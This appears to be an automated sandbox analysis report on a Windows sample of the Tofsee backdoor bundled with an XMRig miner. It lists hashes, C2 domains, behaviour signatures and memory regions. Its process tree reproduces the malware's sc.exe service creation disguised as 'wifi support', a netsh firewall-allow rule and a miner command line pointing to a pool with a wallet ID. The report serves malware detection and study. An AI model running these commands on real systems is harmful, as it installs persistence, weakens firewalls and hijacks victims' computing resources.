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Analysis

  • max time kernel
    139s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    12/03/2023, 01:25

General

  • Target

    c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe

  • Size

    256KB

  • MD5

    74acfb30c4959a65e42cce9a97411900

  • SHA1

    2dd172d565be99baafb81d3b7f2890a476ec110d

  • SHA256

    c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b

  • SHA512

    e59c4e0f4e614bcae0337de0f70b1056a4b57c9791d4248ab12bf59989a0199db081b7b9ce8a26ba1957518ef1dd5e7050b77e96a3010d49546b8881d7afddd8

  • SSDEEP

    3072:44CMrJO29U37A+fyvKFmxA5tQoA3qjlEBod/HN3pjAXPSQo:lfJzUrA+fyvKb5tQoA3qREBOfj

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe
    "C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xaarlzqs\
      2⤵
        PID:1972
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gmzunuhc.exe" C:\Windows\SysWOW64\xaarlzqs\
        2⤵
          PID:1660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xaarlzqs binPath= "C:\Windows\SysWOW64\xaarlzqs\gmzunuhc.exe /d\"C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xaarlzqs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xaarlzqs
          2⤵
          • Launches sc.exe
          PID:856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1988
      • C:\Windows\SysWOW64\xaarlzqs\gmzunuhc.exe
        C:\Windows\SysWOW64\xaarlzqs\gmzunuhc.exe /d"C:\Users\Admin\AppData\Local\Temp\c9b4a44e5db5ef9216c69411aa44218c8b1a8860c773fa96991dc30b7ded218b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:272
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:964

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gmzunuhc.exe

        Filesize

        10.3MB

        MD5

        c37ba77c37253d7f97b4982e743c01e2

        SHA1

        4c423dca5c2cc822a3ccf5bd9de936c6d4982656

        SHA256

        091f661b888b490afd092bfc172cca1b54991bd1cd55b835761507a2e84e77e3

        SHA512

        e124ac95d0dabe6e3d587d825fa82eb475cded561c7a446af509536a6421fe0684090344f13ba5a4af0b3afd6e09841095b948ba0cb61ba057f19561e0225a46

      • C:\Windows\SysWOW64\xaarlzqs\gmzunuhc.exe

        Filesize

        10.3MB

        MD5

        c37ba77c37253d7f97b4982e743c01e2

        SHA1

        4c423dca5c2cc822a3ccf5bd9de936c6d4982656

        SHA256

        091f661b888b490afd092bfc172cca1b54991bd1cd55b835761507a2e84e77e3

        SHA512

        e124ac95d0dabe6e3d587d825fa82eb475cded561c7a446af509536a6421fe0684090344f13ba5a4af0b3afd6e09841095b948ba0cb61ba057f19561e0225a46

      • memory/272-88-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-83-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-107-0x0000000000180000-0x0000000000187000-memory.dmp

        Filesize

        28KB

      • memory/272-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/272-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/272-72-0x0000000001CC0000-0x0000000001ECF000-memory.dmp

        Filesize

        2.1MB

      • memory/272-75-0x0000000001CC0000-0x0000000001ECF000-memory.dmp

        Filesize

        2.1MB

      • memory/272-76-0x0000000000140000-0x0000000000146000-memory.dmp

        Filesize

        24KB

      • memory/272-92-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-82-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-91-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-84-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-85-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-86-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-87-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-106-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/272-89-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-103-0x0000000005900000-0x0000000005D0B000-memory.dmp

        Filesize

        4.0MB

      • memory/272-90-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-79-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-93-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-94-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-95-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-96-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-97-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-98-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/272-99-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/272-102-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/964-111-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-112-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/964-119-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-120-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-121-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-122-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-124-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/964-123-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/1152-59-0x0000000000400000-0x0000000000583000-memory.dmp

        Filesize

        1.5MB

      • memory/1152-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/2000-65-0x0000000000400000-0x0000000000583000-memory.dmp

        Filesize

        1.5MB